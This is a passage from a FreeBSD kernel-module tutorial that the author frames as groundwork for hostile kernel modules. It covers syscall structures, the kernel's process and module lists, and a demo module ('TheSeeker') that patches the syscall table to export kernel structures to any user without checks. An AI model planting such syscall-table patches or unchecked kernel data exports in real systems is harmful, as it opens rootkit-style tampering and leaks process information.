  1074. <td>37</td>
  1075. <td>struct kill_args {<br>
  1076. int pid;<br>
  1077. int signum; }<br>
  1078. </td>
  1079. </tr>
  1080. <tr>
  1081. <td>ktrace(p, uap)</td>
  1082. <td>45</td>
  1083. <td>struct ktrace_args {<br>
  1084. char *fname;<br>
  1085. int ops;<br>
  1086. int facs;<br>
  1087. int pid; }<br>
  1088. </td>
  1089. </tr>
  1090. <tr>
  1091. <td>ioctl(p, uap)</td>
  1092. <td>54</td>
  1093. <td>struct ioctl_args {<br>
  1094. int fd_;<br>
  1095. u_long com;<br>
  1096. caddr_t data; }<br>
  1097. </td>
  1098. </tr>
  1099. <tr>
  1100. <td>reboot(p, uap)</td>
  1101. <td>55</td>
  1102. <td>struct reboot_args {<br>
  1103. int opt; }<br>
  1104. </td>
  1105. </tr>
  1106. <tr>
  1107. <td>execve(p, uap)</td>
  1108. <td>59</td>
  1109. <td>struct execve_args {<br>
  1110. char *fname;<br>
  1111. char **argv;<br>
  1112. char **envv; }<br>
  1113. </td>
  1114. </tr>
  1115. <tr>
  1116. <td>sbrk(p, uap)</td>
  1117. <td>69</td>
  1118. <td>struct sbrk_args {<br>
  1119. int incr; }<br>
  1120. </td>
  1121. </tr>
  1122. <tr>
  1123. <td>socket(p, uap)</td>
  1124. <td>97</td>
  1125. <td>struct socket_args {<br>
  1126. int domain;<br>
  1127. int type;<br>
  1128. int protocol; }<br>
  1129. </td>
  1130. </tr>
  1131. <tr>
  1132. <td>connect(p, uap)</td>
  1133. <td>98</td>
  1134. <td>struct connect_args {<br>
  1135. int s;<br>
  1136. caddr_t name;<br>
  1137. int namelen; }<br>
  1138. </td>
  1139. </tr>
  1140. <tr>
  1141. <td>bind(p, uap)</td>
  1142. <td>104</td>
  1143. <td>struct bind_args {<br>
  1144. int s;<br>
  1145. caddr_t name;<br>
  1146. int namelen; }<br>
  1147. </td>
  1148. </tr>
  1149. <tr>
  1150. <td>listen(p, uap)</td>
  1151. <td>106</td>
  1152. <td>struct listen_args {<br>
  1153. int s;<br>
  1154. int backlog; }<br>
  1155. </td>
  1156. </tr>
  1157. <tr>
  1158. <td>readv(p, uap)</td>
  1159. <td>120</td>
  1160. <td>struct readv_args {<br>
  1161. int fd;<br>
  1162. struct iovec *iovp;<br>
  1163. u_int iovcnt; }<br>
  1164. </td>
  1165. </tr>
  1166. <tr>
  1167. <td>writev(p, uap)</td>
  1168. <td>121</td>
  1169. <td>struct writev_args {<br>
  1170. int fd;<br>
  1171. struct iovec *iovp;<br>
  1172. u_int iovcnt; }<br>
  1173. </td>
  1174. </tr>
  1175. <tr>
  1176. <td>rename(p, uap)</td>
  1177. <td>128</td>
  1178. <td>struct rename_args {<br>
  1179. char *from;<br>
  1180. char *to; }<br>
  1181. </td>
  1182. </tr>
  1183. <tr>
  1184. <td>sendto(p, uap)</td>
  1185. <td>133</td>
  1186. <td>struct sendto_args {<br>
  1187. int s;<br>
  1188. caddr_t buf;<br>
  1189. size_t len;<br>
  1190. int flags;<br>
  1191. caddr_t to;<br>
  1192. int tolen; }<br>
  1193. </td>
  1194. </tr>
  1195. <tr>
  1196. <td>mkdir(p, uap)</td>
  1197. <td>136</td>
  1198. <td>struct mkdir_args {<br>
  1199. char *path;<br>
  1200. int mode; }<br>
  1201. </td>
  1202. </tr>
  1203. <tr>
  1204. <td>rmdir(p, uap)</td>
  1205. <td>137</td>
  1206. <td>struct rmdir_args {<br>
  1207. char *path; }<br>
  1208. </td>
  1209. </tr>
  1210. <tr>
  1211. <td>getdirentries(p, uap)</td>
  1212. <td>196</td>
  1213. <td>struct getdirentries_args {<br>
  1214. int fd;<br>
  1215. char *buf;<br>
  1216. u_int count;<br>
  1217. long *basep; }<br>
  1218. </td>
  1219. </tr>
  1220. <tr>
  1221. <td>modnext(p, uap)</td>
  1222. <td>300</td>
  1223. <td>struct modnext_args {<br>
  1224. int modid; }<br>
  1225. </td>
  1226. </tr>
  1227. <tr>
  1228. <td>modstat(p, uap)</td>
  1229. <td>301</td>
  1230. <td>struct modstat_args {<br>
  1231. int modid; <br>
  1232. struct module_stat *stat; }<br>
  1233. </td>
  1234. </tr>
  1235. <tr>
  1236. <td>modfnext(p, uap)</td>
  1237. <td>302</td>
  1238. <td>struct modfnext_args {<br>
  1239. int modid; }<br>
  1240. </td>
  1241. </tr>
  1242. <tr>
  1243. <td>modfind(p, uap)</td>
  1244. <td>303</td>
  1245. <td>struct modfind_args {<br>
  1246. char *name; }<br>
  1247. </td>
  1248. </tr>
  1249. <tr>
  1250. <td>kldload(p, uap)</td>
  1251. <td>304</td>
  1252. <td>struct kldload_args {<br>
  1253. const char *file; }<br>
  1254. </td>
  1255. </tr>
  1256. <tr>
  1257. <td>kldunload(p, uap)</td>
  1258. <td>305</td>
  1259. <td>struct kldunload_args {<br>
  1260. int fileid; }<br>
  1261. </td>
  1262. </tr>
  1263. <tr>
  1264. <td>kldfind(p, uap)</td>
  1265. <td>306</td>
  1266. <td>struct kldfind_args {<br>
  1267. const char *file; }<br>
  1268. </td>
  1269. </tr>
  1270. <tr>
  1271. <td>kldnext(p, uap)</td>
  1272. <td>307</td>
  1273. <td>struct kldnext_args {<br>
  1274. int fileid; }<br>
  1275. </td>
  1276. </tr>
  1277. <tr>
  1278. <td>kldstat(p, uap)</td>
  1279. <td>308</td>
  1280. <td>struct kldstat_args {<br>
  1281. int fileid;<br>
  1282. struct kld_file_stat *stat; }<br>
  1283. </td>
  1284. </tr>
  1285. <tr>
  1286. <td>kldsym(p, uap)</td>
  1287. <td>337</td>
  1288. <td>struct kldsym_args {<br>
  1289. int fileid;<br>
  1290. int cmd;<br>
  1291. void *data; }<br>
  1292. </td>
  1293. </tr>
  1294. </tr>
  1295. </table>
  1296. As you can see every system call gets the proc structure (standing for the
  1297. process calling the system call) and a special argument structure.
  1298. <p>
  1299. <H3><A NAME="I.7."></A>7. Important Kernel structures / lists</h3>
  1300. <p>
  1301. Beside system calls kernel structures and lists are one of the most important
  1302. things we have to deal with. This section will explain the most basic kernel
  1303. structures and lists we need to understand. It is impossible to give you a
  1304. complete list of all interesting kernel lists, of course.<br>
  1305. This text is dealing with inserting hostile modules into the kernel. Those
  1306. modules are wrapped by link files. The kernel inserts any link file loaded in
  1307. a global list of linker_file structures. So let's take a look at this
  1308. structure :
  1309. <xmp>
  1310. struct linker_file {
  1311. int refs; /* reference count */
  1312. int userrefs; /* kldload(2) count */
  1313. TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
  1314. char* filename; /* file which was loaded */
  1315. int id; /* unique id */
  1316. caddr_t address; /* load address */
  1317. size_t size; /* size of file */
  1318. int ndeps; /* number of dependancies */
  1319. linker_file_t* deps; /* list of dependancies */
  1320. STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
  1321. TAILQ_HEAD(, module) modules; /* modules in this file */
  1322. void* priv; /* implementation data */
  1323. struct linker_file_ops* ops;
  1324. };
  1325. </xmp>
  1326. Take a look at it. The general layout should be clear : link is used for the
  1327. list management, filename is the name of the link file, modules stands for
  1328. the modules in that file. This is the structure, but where is the global list
  1329. holding all these entries? Take a look at the following line that can be
  1330. found in kern_linker.c :
  1331. <xmp>
  1332. static linker_file_list_t files;
  1333. </xmp>
  1334. Unexpirienced kernel coders will ask what linker_file_list_t stands for (we
  1335. thought of something like linker_file). Ok so let's look what
  1336. linker_file_list_t stands for :
  1337. <xmp>
  1338. typedef TAILQ_HEAD(, linker_file) linker_file_list_t;
  1339. </xmp>
  1340. TAILQ_HEAD is one of lots of macros defined in queue.h. This include file
  1341. provides lots o very helpful macros helping the kernel to manage a lot of
  1342. internal lists. Let's say that the line above does something like
  1343. initialization of the linker_file list, which can now be accessed via
  1344. linker_file_list_t ('TheSeeker' will show how to use those macros).
  1345. Ok now we know where the linker_file list is located this should be enough for
  1346. the moment.<br>
  1347. Now what about modules. As I said before modules are described by a module
  1348. structure (see above). Those structures are also organized in a global list.
  1349. So where and how is this list defined, take a look at this line from
  1350. kern_module.c :
  1351. <xmp>
  1352. typedef TAILQ_HEAD(, module) modulelist_t;
  1353. </xmp>
  1354. Again we see TAILQ_HEAD providing us with a list and again we now know that
  1355. modulelist_t is the global list for every module loaded.<br>
  1356. One of the most important none-module related list in the kernel is the
  1357. allproc (zombproc) list. The allproc list holds every process on the system
  1358. except the zombie processes those are hold by zombproc. First let's take a
  1359. look at the general structure of a process entry. The proc structure holds
  1360. every piece of information needed :
  1361. <xmp>
  1362. struct proc {
  1363. TAILQ_ENTRY(proc) p_procq; /* run/sleep queue. */
  1364. LIST_ENTRY(proc) p_list; /* List of all processes. */
  1365. /* substructures: */
  1366. struct pcred *p_cred; /* Process owner's identity. */
  1367. struct filedesc *p_fd; /* Ptr to open files structure. */
  1368. struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
  1369. struct plimit *p_limit; /* Process limits. */
  1370. struct vm_object *p_upages_obj;/* Upages object */
  1371. struct procsig *p_procsig;
  1372. #define p_sigacts p_procsig->ps_sigacts
  1373. #define p_sigignore p_procsig->ps_sigignore
  1374. #define p_sigcatch p_procsig->ps_sigcatch
  1375. #define p_ucred p_cred->pc_ucred
  1376. #define p_rlimit p_limit->pl_rlimit
  1377. int p_flag; /* P_* flags. */
  1378. char p_stat; /* S* process status. */
  1379. char p_pad1[3];
  1380. pid_t p_pid; /* Process identifier. */
  1381. LIST_ENTRY(proc) p_hash; /* Hash chain. */
  1382. LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp. */
  1383. struct proc *p_pptr; /* Pointer to parent process. */
  1384. LIST_ENTRY(proc) p_sibling; /* List of sibling processes. */
  1385. LIST_HEAD(, proc) p_children; /* Pointer to list of children. */
  1386. struct callout_handle p_ithandle; /*
  1387. * Callout handle for scheduling
  1388. * p_realtimer.
  1389. */
  1390. /* The following fields are all zeroed upon creation in fork. */
  1391. #define p_startzero p_oppid
  1392. pid_t p_oppid; /* Save parent pid during ptrace. XXX */
  1393. int p_dupfd; /* Sideways return value from fdopen. XXX */
  1394. struct vmspace *p_vmspace; /* Address space. */
  1395. /* scheduling */
  1396. u_int p_estcpu; /* Time averaged value of p_cpticks. */
  1397. int p_cpticks; /* Ticks of cpu time. */
  1398. fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */
  1399. void *p_wchan; /* Sleep address. */
  1400. const char *p_wmesg; /* Reason for sleep. */
  1401. u_int p_swtime; /* Time swapped in or out. */
  1402. u_int p_slptime; /* Time since last blocked. */
  1403. struct itimerval p_realtimer; /* Alarm timer. */
  1404. u_int64_t p_runtime; /* Real time in microsec. */
  1405. struct timeval p_switchtime; /* When last scheduled */
  1406. u_quad_t p_uticks; /* Statclock hits in user mode. */
  1407. u_quad_t p_sticks; /* Statclock hits in system mode. */
  1408. u_quad_t p_iticks; /* Statclock hits processing intr. */
  1409. int p_traceflag; /* Kernel trace points. */
  1410. struct vnode *p_tracep; /* Trace to vnode. */
  1411. int p_siglist; /* Signals arrived but not delivered. */
  1412. struct vnode *p_textvp; /* Vnode of executable. */
  1413. char p_lock; /* Process lock (prevent swap) count. */
  1414. char p_oncpu; /* Which cpu we are on */
  1415. char p_lastcpu; /* Last cpu we were on */
  1416. char p_pad2; /* alignment */
  1417. short p_locks; /* DEBUG: lockmgr count of held locks */
  1418. short p_simple_locks; /* DEBUG: count of held simple locks */
  1419. unsigned int p_stops; /* procfs event bitmask */
  1420. unsigned int p_stype; /* procfs stop event type */
  1421. char p_step; /* procfs stop *once* flag */
  1422. unsigned char p_pfsflags; /* procfs flags */
  1423. char p_pad3[2]; /* padding for alignment */
  1424. register_t p_retval[2]; /* syscall aux returns */
  1425. struct sigiolst p_sigiolst; /* list of sigio sources */
  1426. int p_sigparent; /* signal to parent on exit */
  1427. sigset_t p_oldsigmask; /* saved mask from before sigpause */
  1428. int p_sig; /* for core dump/debugger XXX */
  1429. u_long p_code; /* for core dump/debugger XXX */
  1430. /* End area that is zeroed on creation. */
  1431. #define p_endzero p_startcopy
  1432. /* The following fields are all copied upon creation in fork. */
  1433. #define p_startcopy p_sigmask
  1434. sigset_t p_sigmask; /* Current signal mask. */
  1435. u_char p_priority; /* Process priority. */
  1436. u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */
  1437. char p_nice; /* Process "nice" value. */
  1438. char p_comm[MAXCOMLEN+1];
  1439. struct pgrp *p_pgrp; /* Pointer to process group. */
  1440. struct sysentvec *p_sysent; /* System call dispatch information. */
  1441. struct rtprio p_rtprio; /* Realtime priority. */
  1442. /* End area that is copied on creation. */
  1443. #define p_endcopy p_addr
  1444. struct user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */
  1445. struct mdproc p_md; /* Any machine-dependent fields. */
  1446. u_short p_xstat; /* Exit status for wait; also stop signal. */
  1447. u_short p_acflag; /* Accounting flags. */
  1448. struct rusage *p_ru; /* Exit information. XXX */
  1449. int p_nthreads; /* number of threads (only in leader) */
  1450. void *p_aioinfo; /* ASYNC I/O info */
  1451. int p_wakeup; /* thread id */
  1452. struct proc *p_peers;
  1453. struct proc *p_leader;
  1454. struct pasleep p_asleep; /* Used by asleep()/await(). */
  1455. };
  1456. </xmp>
  1457. This structure is quite big and complex. There are lots of substructurs we will
  1458. use in part II, so I won't explain them here. Most of the fields should be
  1459. clear. The vmspace field is also very important for us, because it's our gate
  1460. to the process' memory.<br>
  1461. Now we know how processes are described, but where do we have the allproc and
  1462. zombroc lists ? Let's search for them in kern_proc.c :
  1463. <xmp>
  1464. struct proclist allproc;
  1465. struct proclist zombroc;
  1466. </xmp>
  1467. A reference to proclist can be found in proc.h
  1468. <xmp>
  1469. LIST_HEAD(proclist, proc);
  1470. </xmp>
  1471. LIST_HEAD is another macro taken from queue.h that provides a list (here
  1472. proclist). Now we know how to find any process running on the system : just
  1473. look through allproc (zombroc).<br>
  1474. This are the most basic lists and structures we need to understand, there are
  1475. thousands more, but we won't need them too often.
  1476. <p>
  1477. <H3><A NAME="I.7.1."></A>7.1.1. TheSeeker - or how to access kernel lists</h3>
  1478. <p>
  1479. I developed a little module that inserts one new system call which provides
  1480. us with the ability to export some kernel space structures and lists to user
  1481. space. This is not very useful (there are better libc calls), I just wrote it
  1482. to show you in an easy way how to handle system calls, kernel lists, user space
  1483. kernel space interfaces, etc. There are some pieces of code that handle the
  1484. user space <-> kernel space transition. For those not aware of this problem I
  1485. suggest first reading section I.8. Those who read my Linux article should be
  1486. able to continue without problems. So here is the module source :
  1487. <xmp>
  1488. #include <sys/types.h>
  1489. #include <sys/param.h>
  1490. #include <sys/proc.h>
  1491. #include <sys/module.h>
  1492. #include <sys/sysent.h>
  1493. #include <sys/kernel.h>
  1494. #include <sys/systm.h>
  1495. #include <sys/linker.h>
  1496. #include <sys/sysproto.h>
  1497. #include <sys/sysent.h>
  1498. #include <sys/proc.h>
  1499. #include <sys/syscall.h>
  1500. #include <sys/file.h>
  1501. #include <sys/malloc.h>
  1502. #include <sys/types.h>
  1503. #include <sys/lock.h>
  1504. #define GD_ALLPROC 1
  1505. #define GD_LINKFILES 2
  1506. #define GD_MODULES 3
  1507. typedef TAILQ_HEAD(, module) modulelist_t;
  1508. /*import lock structure*/
  1509. extern struct lock lock;
  1510. /*import the linker_file list*/
  1511. extern linker_file_list_t files;
  1512. /*import module list*/
  1513. extern modulelist_t modules;
  1514. /*the module structure (normally defined in kern_module.c)*/
  1515. struct module {
  1516. TAILQ_ENTRY(module) link;
  1517. TAILQ_ENTRY(module) flink;
  1518. struct linker_file *file;
  1519. int refs;
  1520. int id;
  1521. char *name;
  1522. modeventhand_t handler;
  1523. void *arg;
  1524. modspecific_t data;
  1525. };
  1526. /*structure for our getdata system call*/
  1527. static struct getdata_args {
  1528. /*this int value stands for the data the user wants to see*/
  1529. int what;
  1530. /*this is a user space buffer where we will put the data*/
  1531. char *buffer;
  1532. };
  1533. /*the system call function we implement*/
  1534. /*GENERAL WORKING :
  1535. This system call gets two arguments from a user space program : an integer
  1536. used as a switch parameter (what kernel list do we want) and a pointer to
  1537. an allocated user space memory location. If this pointer is zero the
  1538. system call will return the size of the requested list. This is useful for
  1539. selecting the buffer size in a second step.*/
  1540. static
  1541. int getdata(struct proc *p, struct getdata_args *uap)
  1542. {
  1543. int size, flag=0;
  1544. struct proc *pr;
  1545. linker_file_t lf=0;
  1546. module_t mod=0;
  1547. /*if the buffer is NULL then the user requests the list size*/
  1548. if (uap->buffer==NULL) flag=1;
  1549. /*which list does the user want*/
  1550. switch(uap->what)
  1551. {
  1552. case GD_ALLPROC :
  1553. {
  1554. size=0;
  1555. pr=allproc.lh_first;
  1556. for (; pr!=0; pr=pr->p_list.le_next)
  1557. {
  1558. size+=sizeof(struct proc);
  1559. }
  1560. /*if the user only want the size, return it*/
  1561. if (flag==1) {p->p_retval[0]=size; break;}
  1562. pr=allproc.lh_first;
  1563. size=0;
  1564. /*otherwise returnthe structure into the user space buffer*7
  1565. for(; pr!=0; pr=pr->p_list.le_next)
  1566. {
  1567. copyout(pr, uap->buffer+size, sizeof(struct proc));
  1568. size+=sizeof(struct proc);
  1569. }
  1570. /*return number of procs returned in buffer*/
  1571. p->p_retval[0]=size/sizeof(struct proc);
  1572. break;
  1573. }
  1574. case GD_MODULES :
  1575. {
  1576. size=0;
  1577. for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
  1578. {
  1579. size+=sizeof(struct module);
  1580. }
  1581. if (flag==1) {p->p_retval[0]=size; break;}
  1582. size=0;
  1583. for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
  1584. {
  1585. copyout(mod, uap->buffer+size, sizeof(struct module));
  1586. size+=sizeof(struct module);
  1587. }
  1588. /*return number of procs returned in buffer*/
  1589. p->p_retval[0]=size/sizeof(struct module);
  1590. break;
  1591. }
  1592. case GD_LINKFILES :
  1593. {
  1594. size=0;
  1595. /*lock*/
  1596. lockmgr(&lock, LK_SHARED, 0, curproc);
  1597. for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
  1598. {
  1599. size+=sizeof(struct linker_file);
  1600. }
  1601. /*unlock*/
  1602. lockmgr(&lock, LK_RELEASE, 0, curproc);
  1603. if (flag==1) {p->p_retval[0]=size; break;}
  1604. size=0;
  1605. lockmgr(&lock, LK_SHARED, 0, curproc);
  1606. for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
  1607. {
  1608. copyout(lf, uap->buffer+size, sizeof(struct linker_file));
  1609. size+=sizeof(struct linker_file);
  1610. }
  1611. lockmgr(&lock, LK_RELEASE, 0, curproc);
  1612. /*return number of procs returned in buffer*/
  1613. p->p_retval[0]=size/sizeof(struct linker_file);
  1614. break;
  1615. }
  1616. }
  1617. return 0;
  1618. }
  1619. /*the hacked open syscall*/
  1620. static struct sysent getdata_sysent = {
  1621. 2,
  1622. getdata /* sy_call */
  1623. };
  1624. /*
  1625. * The function called at load/unload.
  1626. */
  1627. static int
  1628. dummy_handler (struct module *module, int cmd, void *arg)
  1629. {
  1630. int error = 0;
  1631. switch (cmd) {
  1632. case MOD_LOAD :
  1633. /*install the system call, UNLOAD will not remove it, I am too lazy :)*/
  1634. sysent[210]=getdata_sysent;
  1635. break;
  1636. case MOD_UNLOAD :
  1637. break;
  1638. default :
  1639. error = EINVAL;
  1640. break;
  1641. }
  1642. return error;
  1643. }
  1644. /*install the module as our MISC type*/
  1645. static moduledata_t syscall_mod = {
  1646. "TheSeeker",
  1647. dummy_handler,
  1648. NULL
  1649. };
  1650. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  1651. </xmp>
  1652. This is no nice style programming style, but working. The copy* functions will
  1653. be explained in I.8. Recognize that return values for user space a saved in
  1654. a part of the module structure (p->p_retval[0]). The rest should be quite
  1655. clear.<br>
  1656. I also wrote a little user space program showing how to use this system call.
  1657. Of course, you have to load the module before.
  1658. <xmp>
  1659. #include <sys/types.h>
  1660. #include <sys/param.h>
  1661. #include <sys/proc.h>
  1662. #include <sys/module.h>
  1663. #include <sys/sysent.h>
  1664. #include <sys/kernel.h>
  1665. #include <sys/systm.h>
  1666. #include <sys/linker.h>
  1667. #include <sys/sysent.h>
  1668. #include <sys/proc.h>
  1669. #include <sys/syscall.h>
  1670. #include <sys/file.h>
  1671. #include <sys/malloc.h>
  1672. #include <sys/types.h>
  1673. #include <sys/lock.h>
  1674. typedef struct linker_file* linker_file_t;
  1675. struct linker_file {
  1676. int refs; /* reference count */
  1677. int userrefs; /* kldload(2) count */
  1678. TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
  1679. char* filename; /* file which was loaded */
  1680. int id; /* unique id */
  1681. caddr_t address; /* load address */
  1682. size_t size; /* size of file */
  1683. int ndeps; /* number of dependancies */
  1684. linker_file_t* deps; /* list of dependancies */
  1685. STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
  1686. TAILQ_HEAD(, module) modules; /* modules in this file */
  1687. void* priv; /* implementation data */
  1688. struct linker_file_ops* ops;
  1689. };
  1690. struct module {
  1691. TAILQ_ENTRY(module) link;
  1692. TAILQ_ENTRY(module) flink;
  1693. struct linker_file *file;
  1694. int refs;
  1695. int id;
  1696. char *name;
  1697. modeventhand_t handler;
  1698. void *arg;
  1699. modspecific_t data;
  1700. };
  1701. int errno;
  1702. #define GD_ALLPROC 1
  1703. #define GD_LINKFILES 2
  1704. #define GD_MODULES 3
  1705. /*structure for our getdata system call*/
  1706. struct getdata_args {
  1707. /*this int value stands for the data the user wants to see*/
  1708. int what;
  1709. /*this is a user space buffer where we will put the data*/
  1710. char *buffer;
  1711. };
  1712. void print_allprocs()
  1713. {
  1714. struct getdata_args gda;
  1715. int size;
  1716. struct proc *procs;
  1717. char *p;
  1718. int counter, tmp;
  1719. /*set the getdata fields*/
  1720. gda.what=GD_ALLPROC;
  1721. gda.buffer=NULL;
  1722. size=syscall (210, gda);
  1723. /*allocate some bytes*/
  1724. p=(char*)malloc(size);
  1725. /*set the getdata fields*/
  1726. gda.what=GD_ALLPROC;
  1727. gda.buffer=(char*)p;
  1728. tmp=syscall(210, gda);
  1729. procs=(struct proc*)p;
  1730. for (counter=0; counter<tmp; counter++)
  1731. printf("PID : %d\n", procs[counter].p_pid);
  1732. free(p);
  1733. }
  1734. void print_files()
  1735. {
  1736. struct getdata_args gda;
  1737. int size;
  1738. struct linker_file *procs;
  1739. char *p;
  1740. int counter, tmp;
  1741. /*set the getdata fields*/
  1742. gda.what=GD_LINKFILES;
  1743. gda.buffer=NULL;
  1744. size=syscall (210, gda);
  1745. printf("SIZE : %d\n", size);
  1746. /*allocate some bytes*/
  1747. p=(char*)malloc(size);
  1748. /*set the getdata fields*/
  1749. gda.what=GD_LINKFILES;
  1750. gda.buffer=(char*)p;
  1751. tmp=syscall(210, gda);
  1752. printf("STRUCTS : %d\n", tmp);
  1753. procs=(struct linker_file*)p;
  1754. for (counter=0; counter<tmp; counter++)
  1755. printf("ID : %d\n", procs[counter].id);
  1756. free(p);
  1757. }
  1758. void print_modules()
  1759. {
  1760. struct getdata_args gda;
  1761. int size;
  1762. struct module *procs;
  1763. char *p;
  1764. int counter, tmp;
  1765. /*set the getdata fields*/
  1766. gda.what=GD_MODULES;
  1767. gda.buffer=NULL;
  1768. size=syscall (210, gda);
  1769. printf("SIZE : %d\n", size);
  1770. /*allocate some bytes*/
  1771. p=(char*)malloc(size);
  1772. /*set the getdata fields*/
  1773. gda.what=GD_MODULES;
  1774. gda.buffer=(char*)p;
  1775. tmp=syscall(210, gda);
  1776. printf("STRUCTS : %d\n", tmp);
  1777. procs=(struct module*)p;
  1778. /*print the id of every module loaded so far*/
  1779. for (counter=0; counter<tmp; counter++)
  1780. printf("ID : %d\n", procs[counter].id);
  1781. free(p);
  1782. }
  1783. int
  1784. main(int argc, char **argv)
  1785. {
  1786. print_modules();
  1787. return 0;
  1788. }
  1789. </xmp>
  1790. Arghh, I hope no computer science professor will see this, it's a cruel kind of
  1791. programming ;), but working [I hate it too loose time with nice software
  1792. design...]. Of course, it would be very easy to make this program more
  1793. compact, but I also wrote it this way to make it easier to understand. The
  1794. different print_* functions will put out the desired information. The
  1795. syscall() function calls a certain system call plus required arguments.<br>
  1796. NOTE :
  1797. This module is no perfect solution. Try to access a field like filename in a
  1798. linker_file structure you get vie print_files. You will get a nice error, why?
  1799. Look at the following image :
  1800. <xmp>
  1801. user space :
  1802. ----------------------------------------------------------------------------
  1803. kernel space : one linker_file structure
  1804. +++++++++++++++++++++++++
  1805. +... +
  1806. + char *filename + ---------> name
  1807. +... + points to an address in
  1808. +... + kernel space
  1809. +... +
  1810. </xmp>
  1811. Now what did our system call, take a look at the next image :
  1812. <xmp>
  1813. user space : one linker_file structure
  1814. +++++++++++++++++++++++++
  1815. +... +
  1816. + char *filename + ----
  1817. +... + |
  1818. +... + |
  1819. +... + |
  1820. |
  1821. |
  1822. |
  1823. ----------------------------------------------------------------------------
  1824. |
  1825. kernel space : |
  1826. |---> name
  1827. </xmp>
  1828. Do you see the problem? The char* filename pointer still points to the old
  1829. address in kernel space while the linker_file structure was move to user
  1830. space. This means you cannot access any pointer fields in the structures /
  1831. lists exported by TheSeeker module. Of course, you could also transform those
  1832. address to user space, but that would be too complicated for a beginner
  1833. example, so I did not implement it. Of course you can access any other fields
  1834. that don't point to some location.
  1835. <p>
  1836. <H3><A NAME="I.8."></A>8. From User to Kernel space and back</h3>
  1837. <p>
  1838. In TheSeeker I introduced some kernel functions that were responsible for user
  1839. <-> kernel space transitions. The following list shows all functions that are
  1840. important for that task :
  1841. <ul>
  1842. <li>int copyin(const void *uaddr, void *kaddr, size_t len);<br>
  1843. ->copies len bytes from user space (uaddr) to kernel space (kaddr)<br>
  1844. <li>int copyout(const void *kaddr, void *uaddr, size_t len);<br>
  1845. ->copies len bytes from kernel space (kaddr) to user space (uaddr)<br>
  1846. <li>int copyinstr(const void *uaddr, void *kaddr, size_t len, size_t
  1847. *done);<br>
  1848. ->copies NUL-terminated string, at most len bytes long, fom user
  1849. space (uaddr) to kernel space (kaddr). The number of bytes actually copied
  1850. is returned in done.<br>
  1851. </ul>
  1852. I always used these functions. There are also some other byte-oriented
  1853. functions (like fetch etc.) but I nver used them.
  1854. The easiest task is to copy from user to kerne space. You have only to provide
  1855. a buffer in kernel space. Take a look at the following fragment (taken from
  1856. my directory hack) :
  1857. <xmp>
  1858. /*We need to define M_DIRP2 for allocating some memory in kernel space with
  1859. the help of the MALLOC macro*/
  1860. MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
  1861. ...
  1862. struct dirent *dirp2, *dirp3;
  1863. ...
  1864. /*allocate memory*/
  1865. MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
  1866. ...
  1867. /*copy from user space (uap->buf) to kernel space (dirp2) tmp bytes*/
  1868. copyin(uap->buf, dirp2, tmp);
  1869. </xmp>
  1870. Look at the MALLOC man page for more details. Of course you could also use
  1871. something like char mem[100]; instead of MALLOC, but malloc is the better
  1872. choice.<br>
  1873. So copyin from user to kernel space a trivial. But what about the other
  1874. direction? You have to differentiate between two cases : is there already an
  1875. allocated buffer for the process in user space? If so just use copyout and you
  1876. are done. But what to do if you don't have a memory buffer in user space. Look
  1877. at my solution (I made lots of comments for beginners, please read them :)):
  1878. <xmp>
  1879. /*This example demonstrates how to use the OBREAK syscall to issue a system
  1880. call from kernel mode. I implemented a syscall (offset 210) which will create
  1881. a directory (TESTDIR) by using the mkdir syscall. The general problem with
  1882. this task is supplying the arguments for mkdir from +user space+.*/
  1883. #include <sys/types.h>
  1884. #include <sys/param.h>
  1885. #include <sys/proc.h>
  1886. #include <sys/module.h>
  1887. #include <sys/sysent.h>
  1888. #include <sys/kernel.h>
  1889. #include <sys/systm.h>
  1890. #include <sys/linker.h>
  1891. #include <sys/sysproto.h>
  1892. #include <sys/sysent.h>
  1893. #include <sys/proc.h>
  1894. #include <sys/syscall.h>
  1895. /*
  1896. * Shareable process virtual address space.
  1897. * May eventually be merged with vm_map.
  1898. * Several fields are temporary (text, data stuff).
  1899. */
  1900. struct vmspace {
  1901. /*NOTE : I just used some padding stuff, to avoid too much include file
  1902. problems...
  1903. */
  1904. /* struct vm_map vm_map; VM address map */
  1905. char pad1[100];
  1906. /* struct pmap vm_pmap; private physical map */
  1907. char pad2[36];
  1908. int vm_refcnt; /* number of references */
  1909. caddr_t vm_shm; /* SYS5 shared memory private data XXX */
  1910. /* we copy from vm_startcopy to the end of the structure on fork */
  1911. #define vm_startcopy vm_rssize
  1912. segsz_t vm_rssize; /* current resident set size in pages */
  1913. segsz_t vm_swrss; /* resident set size before last swap */
  1914. segsz_t vm_tsize; /* text size (pages) XXX */
  1915. segsz_t vm_dsize; /* data size (pages) XXX */
  1916. segsz_t vm_ssize; /* stack size (pages) */
  1917. caddr_t vm_taddr; /* user virtual address of text XXX */
  1918. caddr_t vm_daddr; /* user virtual address of data XXX */
  1919. caddr_t vm_maxsaddr; /* user VA at max stack growth */
  1920. caddr_t vm_minsaddr; /* user VA at max stack growth */
  1921. };
  1922. /*just a simple syscall handler which will create a dir entry*/
  1923. static int user_syscall (struct proc *p, void *arg)
  1924. {
  1925. /*example directory we want to create from kernel space via syscall
  1926. recall that this string is saved in kernel context and not in user space
  1927. is we need it*/
  1928. char *kernel_name="./TESTDIR\0";
  1929. /*this will hold our address in user space (for the directory name)*/
  1930. char *user_name;
  1931. /*one structure for kernel space and one for the user part :
  1932. This structure is used by the syscall mkdir for holding the required
  1933. arguments (see system call listing)*/
  1934. struct mkdir_args kernel_ma;
  1935. struct mkdir_args *user_ma;
  1936. /*we need to allocate memory, so we use the easiest way : syscall obreak*/
  1937. struct obreak_args oa;
